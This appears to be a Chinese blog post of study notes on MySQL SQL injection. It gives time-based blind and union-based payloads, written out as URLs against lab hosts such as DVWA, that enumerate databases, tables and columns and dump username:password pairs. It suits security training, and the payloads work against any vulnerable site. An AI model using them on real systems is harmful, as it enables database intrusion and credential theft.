2.1 遍历 ASCII 方式
# 查询所有字段数据内容的方式
and if(ascii(substring((select GROUP_CONCAT(user,0x3a,password) from users ),1,1))=97,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(substring((select GROUP_CONCAT(user,0x3a,password) from users ),1,1))=97,sleep(3),0)-- &Submit=Submit#

# 依次查询单个字段数据内容的方式
and if(ascii(substring((select user from users limit 0,1),1,1))=97,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(substring((select user from users limit 0,1),1,1))=97,sleep(3),0)-- &Submit=Submit#

2.2 遍历字符方式
# 查询所有字段数据内容的方式
and if(left((select concat(user,0x3a,password) from users limit 0,1),1)='a',sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select concat(user,0x3a,password) from users limit 0,1),1)='a',sleep(3),0)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度,与查询的字段数据内容的字符,遍历出所有数据。

# 依次查询单个字段数据内容的方式
and if(left((select user from users limit 0,1),1)='a',sleep(3),0)
例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select user from users limit 0,1),1)='a',sleep(3),0)-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select user from users limit 0,1),2)='ad',sleep(3),0)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度,与查询的字段数据内容的字符,遍历出所有数据。

3.5 利用 information_schema 查询方法

3.5.1 查询数据库名

http://192.168.100.135/index.php?ID=4 and 1=2 union select 1,database(),3  

3.5.2 查询表名

原理

  • Mysql 里面有一个库 information_schema 里面存在很多信息,其中包括所有的库名, 表名, 字段名。因为可以利用这个库来获取当前库的表
# 获取当前库
http://192.168.100.135/index.php?id=1 and 1=2 union select 1,database(),3

# 由当前库获取当前库的表名
http://192.168.100.135/index.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1
http://192.168.100.135/index.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='database_name' limit 0,1
http://192.168.100.135/index.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x数据库名的16进制数 limit 0,1
# limit 0,1 指获取第一个表名,要遍历获取其他表名需要将 0 依次递增+1,直到返回空结束。

3.5.3 查询表字段名称

原理: information_schema 数据库中 COLUMNCOLUMN_NAME 字段保存着所有表的字段信息。

http://192.168.100.135/index.php?id=-1 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 0,1
# 或对所查询表名称做 16 进制转换
http://192.168.100.135/index.php?id=-1 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1

3.5.4 查询字段数据

":" 的 16 进制为 0x3a
# 字段数据
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from admin limit 0,1

3.6 group_concat() 函数查询所有数据

  • 此方法不是通用的,有时候会因为字段的大小问题导致查询不全。
    • 解决方法:换一个字段查询,或用函数查询长度再用字符串函数截取。(后续补充)

3.6.1 查询所有的库

# 需要处理闭合时的情况
# 逐个查询
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 0,1-- &Submit=Submit#
# 查询所有
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA-- &Submit=Submit#

# 不需要处理闭合时的情况
# 逐个查询
http://192.168.100.137/index.php?id=1 and 1=2  union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
# 查询所有
http://192.168.100.137/index.php?id=1 and 1=2  union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

3.6.2 查询所有的表

# 需要处理闭合时的情况
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database()-- &Submit=Submit#

# 不需要处理闭合时的情况
http://192.168.100.137/index.php??id=1 and 1=2 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES WHERE TABLE_SCHEMA=database()

3.6.3 查询表中所有字段

# 需要处理闭合时的情况
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273-- &Submit=Submit#

# 不需要处理闭合时的情况
http://192.168.100.137/index.php??id=1 and 1=2 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_NAME='admin'

3.6.4 查询所有数据

# 需要处理闭合时的情况
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(user,0x3a,password) FROM users-- &Submit=Submit#

# 不需要处理闭合时的情况
http://192.168.100.137/index.php?id=1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from admin
posted @ 2021-06-01 08:44  f_carey  阅读(18)  评论(0编辑  收藏  举报  来源